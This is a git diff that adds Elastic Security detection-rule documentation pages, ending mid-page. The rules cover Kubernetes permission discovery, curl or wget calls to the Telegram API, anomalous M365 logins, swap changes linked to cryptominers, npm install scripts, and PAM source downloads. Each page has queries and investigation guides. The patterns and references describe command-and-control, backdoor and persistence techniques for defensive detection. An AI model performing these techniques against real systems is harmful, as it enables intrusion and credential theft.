+- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +process.name == "kubectl" and process.args == "auth" and process.args == "can-i" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-linux-telegram-api-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-linux-telegram-api-request.asciidoc new file mode 100644 index 0000000000..c8ae09d928 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-linux-telegram-api-request.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-10-linux-telegram-api-request]] +=== Linux Telegram API Request + +This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Linux Telegram API Request* + + +Telegram's API allows applications to interact with its messaging platform, often used for legitimate automation and communication tasks. However, adversaries may exploit this by using commands like `curl` or `wget` to communicate with Telegram's API for command and control purposes. The detection rule identifies such suspicious activity by monitoring for these commands accessing the Telegram API, indicating potential misuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of the curl or wget command with the api.telegram.org domain in the command line, as indicated by the process.command_line field. +- Investigate the user account associated with the process to determine if the activity aligns with expected behavior or if the account may be compromised. +- Check the network activity logs to identify any additional connections to api.telegram.org or other suspicious domains, which may indicate further command and control communication. +- Analyze the parent process of the detected curl or wget command to understand how the process was initiated and if it was triggered by another suspicious activity. +- Examine the system for any other indicators of compromise, such as unusual file modifications or additional unauthorized processes, to assess the scope of potential malicious activity. + + +*False positive analysis* + + +- Legitimate automation scripts or applications may use curl or wget to interact with Telegram's API for non-malicious purposes. Review the context and purpose of these scripts to determine if they are authorized. +- System administrators or developers might use curl or wget for testing or maintenance tasks involving Telegram's API. Verify if these activities are part of routine operations and consider excluding them if they are deemed safe. +- Monitoring tools or integrations that rely on Telegram for notifications could trigger this rule. Identify these tools and add exceptions for their known processes to prevent unnecessary alerts. +- If a specific user or service account frequently triggers this rule due to legitimate use, consider creating an exception for that account to reduce noise while maintaining security oversight. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further communication with the Telegram API and potential data exfiltration. +- Terminate any suspicious processes identified as using curl or wget to interact with api.telegram.org to halt ongoing malicious activities. +- Conduct a thorough review of the affected system's process logs and network connections to identify any additional indicators of compromise or related malicious activity. +- Remove any unauthorized scripts or binaries that may have been used to automate the interaction with the Telegram API. +- Reset credentials and review access permissions for any accounts that were active on the affected system to prevent unauthorized access. +- Update and patch the affected system to the latest security standards to mitigate vulnerabilities that could be exploited in similar attacks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + +Elastic Defend integration does not collect environment variable logging by default. +In order to capture this behavior, this rule requires a specific configuration option set within the advanced settings of the Elastic Defend integration. + #### To set up environment variable capture for an Elastic Agent policy: +- Go to “Security → Manage → Policies”. +- Select an “Elastic Agent policy”. +- Click “Show advanced settings”. +- Scroll down or search for “linux.advanced.capture_env_vars”. +- Enter the names of environment variables you want to capture, separated by commas. +- For this rule the linux.advanced.capture_env_vars variable should be set to "HTTP_PROXY,HTTPS_PROXY,ALL_PROXY". +- Click “Save”. +After saving the integration change, the Elastic Agents running this policy will be updated and the rule will function properly. +For more information on capturing environment variables refer to the https://www.elastic.co/guide/en/security/current/environment-variable-capture.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +process.name in ("curl", "wget") and process.command_line like "*api.telegram.org*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-m365-identity-login-from-atypical-travel-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-m365-identity-login-from-atypical-travel-location.asciidoc new file mode 100644 index 0000000000..0b02a1772b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-m365-identity-login-from-atypical-travel-location.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-10-m365-identity-login-from-atypical-travel-location]] +=== M365 Identity Login from Atypical Travel Location + +Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Atypical Travel Location* + + +Microsoft 365 is a cloud-based suite offering productivity tools accessible from anywhere, making it crucial for business operations. Adversaries may exploit this by logging in from uncommon locations, potentially using VPNs to mask their origin. The detection rule identifies successful logins from atypical locations, flagging potential unauthorized access attempts by analyzing login events and user location patterns. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and + event.outcome:success and + o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.region_iso_code:* and + not o365.audit.ApplicationId:( + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + a809996b-059e-42e2-9866-db24b99a9782 + ) and not o365.audit.ExtendedProperties.RequestType:( + "Cmsi:Cmsi" or + "Consent:Set" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "SAS:EndAuth" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-m365-identity-login-from-impossible-travel-location.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-m365-identity-login-from-impossible-travel-location.asciidoc new file mode 100644 index 0000000000..643d9d3157 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-m365-identity-login-from-impossible-travel-location.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-10-m365-identity-login-from-impossible-travel-location]] +=== M365 Identity Login from Impossible Travel Location + +Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. + +*Rule type*: threshold + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Impossible Travel Location* + + +Microsoft 365's cloud-based services enable global access, but this can be exploited by adversaries logging in from disparate locations within short intervals, indicating potential account compromise. The detection rule identifies such anomalies by analyzing login events for rapid geographic shifts, flagging suspicious activity that may suggest unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and + event.outcome:success and + o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.region_iso_code:* and + not o365.audit.ApplicationId:( + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + a809996b-059e-42e2-9866-db24b99a9782 + ) and not o365.audit.ExtendedProperties.RequestType:( + "Cmsi:Cmsi" or + "Consent:Set" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "SAS:EndAuth" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-memory-swap-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-memory-swap-modification.asciidoc new file mode 100644 index 0000000000..0f3ca33af5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-memory-swap-modification.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-10-memory-swap-modification]] +=== Memory Swap Modification + +This rule detects memory swap modification events on Linux systems. Memory swap modification can be used to manipulate the system's memory and potentially impact the system's performance. This behavior is commonly observed in malware that deploys miner software such as XMRig. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Memory Swap Modification* + + +Memory swap in Linux systems manages RAM by moving inactive pages to disk, freeing up memory for active processes. Adversaries exploit this by altering swap settings to degrade performance or deploy resource-intensive malware like cryptominers. The detection rule identifies suspicious activities by monitoring processes that modify swap settings or execute related commands, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process details to identify the parent process using the field process.parent.executable. This can help determine if the swap modification was initiated by a legitimate or suspicious parent process. +- Examine the command line arguments captured in process.command_line to understand the specific changes made to swap settings, such as modifications to vm.swappiness. +- Check the user account associated with the process to determine if the action was performed by a privileged or unauthorized user. +- Investigate any recent system performance issues or anomalies that could be linked to swap modifications, such as increased CPU or memory usage. +- Correlate the event with other security alerts or logs to identify if this activity is part of a larger pattern of suspicious behavior, such as the presence of cryptomining software like XMRig. +- Assess the system for any unauthorized software installations or configurations that could indicate a compromise, focusing on resource-intensive applications. + + +*False positive analysis* + + +- System administrators may frequently modify swap settings during routine maintenance or performance tuning. To handle this, create exceptions for known administrator accounts or specific maintenance scripts. +- Automated configuration management tools like Ansible or Puppet might execute commands that alter swap settings. Identify these tools and exclude their processes from triggering alerts. +- Some legitimate applications may adjust swap settings to optimize their performance. Monitor and whitelist these applications to prevent unnecessary alerts. +- Development environments often experiment with system settings, including swap configurations. Consider excluding processes from known development environments or specific user accounts associated with development activities. +- Scheduled tasks or cron jobs might include swap modification commands for system optimization. Review and whitelist these tasks if they are verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or impact of the potential malware. +- Terminate any suspicious processes identified by the detection rule, such as those involving "swapon", "swapoff", or unauthorized modifications to "vm.swappiness". +- Conduct a thorough scan of the isolated system using updated antivirus or anti-malware tools to identify and remove any malicious software, particularly cryptominers like XMRig. +- Review and restore swap settings to their default or secure configurations to ensure system stability and performance. +- Implement monitoring for any further unauthorized changes to swap settings or related processes to detect and respond to similar threats promptly. +- Escalate the incident to the security operations team for a detailed forensic analysis to understand the scope and origin of the attack. +- Update system and security patches to close any vulnerabilities that may have been exploited by the adversary. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. + +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +?process.parent.executable != null and +process.name in ("swapon", "swapoff") or ( + process.command_line like ("*vm.swappiness*", "*/proc/sys/vm/swappiness*") and ( + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + ( + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and + process.command_line like "*echo *" + ) + ) +) and +not process.parent.name in ("lynis", "systemd", "end-zram-swapping", "SyxsenseResponder", "tuned", "platform-python", "timeout") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-node-js-pre-or-post-install-script-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-node-js-pre-or-post-install-script-execution.asciidoc new file mode 100644 index 0000000000..d3de4abc14 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-node-js-pre-or-post-install-script-execution.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-10-node-js-pre-or-post-install-script-execution]] +=== Node.js Pre or Post-Install Script Execution + +This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name == "node" and process.args == "install"] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.parent.name == "node"] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-pluggable-authentication-module-pam-source-download.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-pluggable-authentication-module-pam-source-download.asciidoc new file mode 100644 index 0000000000..3139fe05db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-10/prebuilt-rule-8-19-10-pluggable-authentication-module-pam-source-download.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-10-pluggable-authentication-module-pam-source-download]] +=== Pluggable Authentication Module (PAM) Source Download + +This rule detects the usage of `curl` or `wget` to download the source code of a Pluggable Authentication Module (PAM) shared object file. Attackers may download the source code of a PAM shared object file to create a backdoor in the authentication process. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/zephrax/linux-pam-backdoor +* https://github.com/eurialo/pambd +* http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html +* https://www.trendmicro.com/en_us/research/19/i/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Pluggable Authentication Module (PAM) Source Download* + + +Pluggable Authentication Modules (PAM) are integral to Linux systems, managing authentication tasks. Adversaries may exploit PAM by downloading its source code to insert backdoors, compromising authentication. The detection rule identifies suspicious downloads of PAM source files using tools like `curl` or `wget`, flagging potential threats to system integrity and user credentials. + + +*Possible investigation steps* + + +- Review the process details to confirm the use of `curl` or `wget` for downloading the PAM source file, focusing on the `process.name` and `process.args` fields to verify the URL pattern matches the suspicious download. +- Check the user account associated with the process execution to determine if the activity was initiated by a legitimate user or a potential adversary. +- Investigate the system's command history and logs to identify any preceding or subsequent commands that might indicate further malicious activity or attempts to compile and install the downloaded PAM source. +- Examine network logs for any unusual outbound connections or data exfiltration attempts following the download, which could suggest further compromise. +- Assess the integrity of existing PAM modules on the system to ensure no unauthorized modifications or backdoors have been introduced. +- Correlate this event with other alerts or anomalies on the same host to identify patterns or a broader attack campaign. + + +*False positive analysis* + + +- Legitimate system administrators or developers may download PAM source files for testing or development purposes. To handle this, create exceptions for known user accounts or IP addresses that regularly perform such downloads. +- Automated scripts or configuration management tools might use `curl` or `wget` to download PAM source files as part of routine updates or system setups. Identify these scripts and whitelist their activities to prevent false positives. +- Security researchers or auditors may download PAM source files to conduct security assessments. Establish a process to verify and approve these activities, allowing exceptions for recognized research teams or individuals. +- Educational institutions or training environments might download PAM source files for instructional purposes. Implement a policy to exclude these environments from triggering alerts, ensuring they are recognized as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active `curl` or `wget` processes identified in the alert to stop the download of potentially malicious PAM source files. +- Conduct a thorough review of PAM configuration files and shared object files on the affected system to identify and remove any unauthorized modifications or backdoors. +- Restore the affected system from a known good backup if unauthorized changes to PAM files are detected and cannot be easily reversed. +- Implement stricter access controls and monitoring on systems handling PAM configurations to prevent unauthorized downloads or modifications in the future. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. +- Update detection mechanisms to monitor for similar download attempts and unauthorized 